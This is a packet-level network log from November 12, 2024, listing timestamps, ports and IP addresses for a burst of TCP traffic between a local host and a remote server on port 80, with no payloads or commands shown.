Nov 12, 2024 04:16:31.195157051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195163012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195193052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195195913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195225000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195235968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195245028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195255041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195256948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195269108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195281029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195286989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195300102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195301056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195311069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195311069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195333004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195337057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195348978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195358992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195359945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195373058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195383072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195389986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195404053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195413113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195415020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195426941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195431948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195441961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195458889 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195482016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195507050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195522070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195533037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195544004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195555925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195558071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195565939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195565939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195597887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195620060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195627928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195640087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195651054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195667028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195674896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195692062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195694923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195703983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195714951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195727110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195746899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195781946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195792913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195804119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195825100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195836067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195858955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195869923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195880890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.195904016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.195926905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.239329100 CET	443	49831	23.47.50.115	192.168.2.5
Nov 12, 2024 04:16:31.265185118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265223980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265233994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265366077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.265455961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265467882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265475035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265508890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265523911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265536070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265548944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265573025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.265583992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265594959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265605927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.265652895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.265712976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266149044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266160965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266171932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266223907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266232014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266242981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266269922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266279936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266316891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266369104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266393900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266403913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266462088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266493082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266504049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266514063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266552925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266556025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266566038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266583920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266597033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266611099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266628027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266639948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266669035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266746044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266757965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266767979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266772032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266789913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266801119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266810894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266822100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266834021 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266884089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266895056 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266905069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266922951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266933918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266942978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266954899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.266984940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.266988993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267000914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267010927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267102957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267115116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267117977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267127991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267193079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267204046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267214060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267225981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267235994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267236948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267302990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267466068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267478943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267488956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267502069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267537117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267546892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267549038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267566919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267577887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267610073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267641068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267652988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267663002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267664909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267724991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267731905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267743111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267755032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267781019 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267806053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267826080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267837048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267846107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267857075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267868996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267901897 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.267935991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267952919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267966032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267976999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.267991066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268043995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268054962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268058062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268071890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268085003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268095016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268106937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268120050 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268129110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268132925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268163919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268176079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268186092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268188000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268198967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268210888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268225908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268238068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268245935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268266916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268326998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268335104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268346071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268356085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268403053 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268449068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268569946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268580914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268591881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268646955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268650055 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268660069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268671036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268690109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268703938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268712044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268733025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268774986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268790007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268820047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268831015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268841982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.268904924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268915892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268925905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268937111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268949032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.268950939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269040108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269041061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269057989 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269069910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269082069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269088030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269093037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269098043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269103050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269109964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269124031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269160032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269171953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269181967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269203901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269295931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269308090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269318104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269330025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269331932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269341946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269352913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269366026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269371986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269377947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269391060 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269402981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269453049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269465923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269471884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269531012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269541979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269541979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269556046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269567966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269579887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269598961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269694090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269716024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269726992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269737959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269750118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269762039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269773006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269781113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269783974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269797087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269809008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269819975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269838095 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269849062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269860029 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269876957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269896984 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269906044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269920111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269929886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269942045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269953012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269963980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.269989014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.269993067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270004988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270056963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270083904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270096064 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270107031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270107985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270118952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270131111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270143032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270153999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270167112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270178080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270190954 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270204067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270209074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270216942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270227909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270256042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270267963 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270278931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270308018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270319939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270322084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270330906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270390987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270611048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270622015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270639896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270651102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270661116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270668983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270675898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270682096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270692110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270734072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270741940 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270772934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270783901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270793915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270828962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270853996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270878077 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270890951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270946980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.270957947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270977020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270987034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.270998955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271009922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271018982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271023035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271066904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271080971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271095037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271106958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271117926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271136045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271219969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:31.271255016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271267891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271277905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:31.271295071 CET	80	49750	185.215.113.206	192.168.2.5
